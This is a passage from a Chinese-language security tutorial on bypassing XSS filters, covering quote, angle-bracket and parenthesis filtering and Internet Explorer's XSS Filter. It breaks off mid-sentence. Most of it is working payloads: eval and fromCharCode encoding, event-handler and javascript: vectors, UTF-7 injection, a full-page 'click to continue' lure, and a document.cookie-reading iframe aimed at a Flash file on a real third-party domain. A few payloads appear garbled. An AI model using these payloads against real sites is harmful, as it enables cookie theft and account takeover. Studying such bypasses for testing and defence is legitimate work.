1.1 bypass Char
通常有安全意识的程序员往往会对输入进行一定的过滤,比较常见的是针对某一关键符号进行过滤,比如“<”或者“>”,这种方式很多时候是无法防止攻击的,更安全的方式是通过编程语言提供的函数在输出的时候进行过滤。
本节主要针对单字符过滤进行研究,分为引号、尖括号、括号这三个符号进行研究。
1.1.1 引号
在跨站测试中很多的vector(即攻击向量)本身是不包含引号的,例如下面的一些vector。但是在利用中经常需要使用引号,如果对引号进行了过滤,可以采取如下措施进行绕过。
vector:
<script>alert(/insight-labs/)</script>
<iframe/onload=alert(/insight-labs/)>
<img src=x onerror=alert(/insight-labs/)>
<p onmouseover=alert(/insight-labs/)>insight-labs here.</p>
1)String.fromCharCode
fromCharCode可以对利用代码中的引号进行编码处理,但是需要利用eval函数结合进行使用,例如:
<script>alert(‘insight-labs’)</script> —–>
<script>eval(String.fromCharCode(97,108,101,114,116,40,39,105,110,115,105,103,104,116,45,108,97,98,115,39,41))</script>
2)location.hash
将带有引号的内容放在location.hash中,其实这个也可以突破跨站长度的控制。
<script>eval(location.hash.slice(1))</script>#alert(‘a’)
3)/string/.source
/string/中的string表示的是正则表达式,用.source则可以取到正则表达式的文本形式,然后使用eval(/string/.source);就可以执行。
1.1.2 尖括号
通常程序员为了偷懒都只会过滤尖括号,因此尖括号在跨站过滤中遇到情况最多。一般情况下如果输入没有显示在其他标签里,那么基本上是没有办法进行攻击的,但是如果是输出到其他标签里,则可以结合上下标签进行如下测试:
1)事件函数
常用的一些事件函数有:onerror、onmouseover、onload等(同时可以关注下HTML5新标签),需要的时候可以对JavaScript的事件函数进行fuzz。
<img src=x onerror=alert(/insight-labs/)>
<p onmouseover=alert(/insight-labs/)>insight-labs here.</p>
<frameset onload=alert(/insight-labs/)>
<body onload=alert(/insight-labs/)>
2)style与expression
通过标签的style样式进行跨站(测试中只有IE成功,同时还得考虑filter问题)。
<div style=”expression(alert(‘insight-labs’));”>
3) JavaScript伪协议
JavaScript伪协议进行绕过。
<img src=javascript:alert(‘insight-labs’)>(仅IE6)
1.1.3 括号
如果测试中发现括号被过滤了,或者无法注入括号,可以进行如下测试:
1)外部文件
通过src引入外部文件,而利用代码放在外部文件中(其中外部文件的后缀可以不为js)。
<script src=’1.js’></script>
<script src=’2.jpg’></script>
2)hex、dec编码
利用十六进制与十进制进行编码。
<div
style=”width:expression(alert('xsser'))″>xsser</div>
1.2 bypass filter
针对跨站问题日益严重,浏览器厂商从自身浏览器安全出发推出了各自的跨站过滤器。但是这类过滤器基本上只支持反射型跨站,其他类型跨站基本不受影响。
各种浏览器采用的防御机制各不相同。反射型跨站防御方面:Firefox基本没什么防御,而IE和chrome都有各自的防御机制,并且都很难绕过,这里主要总结下现有的一些可以绕过机制。
1.2.1 IE Filter
IE从IE7就支持XSS
Filter,其整体架构可见参考文献1,正则匹配部分可以参见文献2。实际处理步骤可分为三步:首先对IE进行启发式过滤(heuristic
filters,正则匹配);如果在HTTP请求中匹配到这些特征,那么就做一个动态签名(create dynamic
signature);如果在HTTP响应中有原来的签名,那么就进行替换修改(neuter
response)。在IE全补丁下进行测试,现有公布的绕过技术基本上很少,先总结如下:
1)<a href=>
针对普通的反射型跨站,可以利用A标签和“sc%0aript”实现绕过,不过需要用户交互,这里需要美工师咯。其实原理是页面输出后这两个页面属于同一域,因此不会产生过滤。如果href里面的地址是不同域就会产生过滤。
<a href=”xss.php?a=<sc%0aript>alert(/insight-labs/)</script>”>
<a
href=”xss.php?a=<sc%0aript>alert(/insight-labs/)</script>”><div
style=”position: absolute; left: 0px; top: 0px; height: 1000px;
1000px; padding: 1em;background:black;text-align: center;”>click to
continue</div></a>
http://vulnerabledoma.in/xssable?q =%22%3CA%20href%3Djavascript%26.x3A的%3Balert%26%28×28%3B1%26%29×29%3B / / =%3Exxx
http://vulnerabledoma.in/xssable?q=”<a href=javascript&.x3A;alert&(x28;1&)x29;//=>xxx
2)utf7
通过UTF7-BOM实现注入代码,全补丁情况下只有当header里编码为utf-7才能成功,可以参考文献3。
%2BACIAPgA8-script%2BAD4-alert%28/insight-labs/%29%2BADw-%2Fscript%2BAD4APAAi-&oe=Windows-31J
3) Flash
在 www.B.com域名下用iframe嵌入www.A.com的flash XSS文件。当受害者打开了www.B.com的域名时,我们可以成功获取其在www.A.com的cookies数据,参见文献8。
测试代码如下(IE):
<iframe/src=”http://data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){location.href=%22javascript:’<script>alert(document.cookie)</script>’%22})()”></iframe>
在chrome中,可能会导致浏览器崩溃,可以改用以下代码。
<iframe/src=”http://data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){alert(document.cookie)})()”></iframe>
4) magic_quotes_gpc
PHP如果开启了”魔术引号”特性(magic_quotes_gpc = On),则’ (single-quote), “(double quote), (backslash) 和 NULL 字符将都会被反斜杠转义(%00 =>